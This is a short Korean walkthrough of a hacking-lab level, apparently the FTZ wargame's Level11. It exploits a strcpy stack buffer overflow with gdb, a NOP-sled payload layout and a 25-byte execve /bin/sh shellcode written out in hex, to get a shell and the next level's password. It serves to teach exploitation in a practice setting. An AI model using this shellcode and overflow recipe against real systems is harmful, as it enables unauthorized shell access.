Level11
what!@#$?
cat hint
프로그램 실행시 인자를 받아서
strcpy함수를 이용해 str[]에 복사후 프린트한다.
strcpy함수는 입력되는 데이터의 길이에 제한이 없으므로 버퍼오버플로우(bof)가 발생할 수 있다.
ret주소를 찾아보기위해 tmp폴더에 attackme를 복사한후, gdb로 보았다.
ret |
ebp |
buf[264] = str[256] + dummy[8] |
ret주소를 찾기!
ret에 브레이크 포인트를 걸고,
b *0x080484bb
r `python -c 'print "\x90"*264 + "BBBB" + "AAAA"'` 와 같이 입력 후
메모리 구조를 확인
엔터를 누르고 있다보면
이처럼 내가 넣어준 9090이 잔뜩 나온다.
저중에 ret주소로 0xbffffb3c를 사용!
페이로드를 완성하고 보내줌
페이로드 : [nop*100] + [25byte쉘코드] + [nop*139] + [ebp(4)] + [ret(4)]
사용한 25바이트 쉘코드 :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
제대로 페이로드를 보내주었다면 쉘이 뜰것이다.
다음 패스워드를 알아내고 다음레벨로 !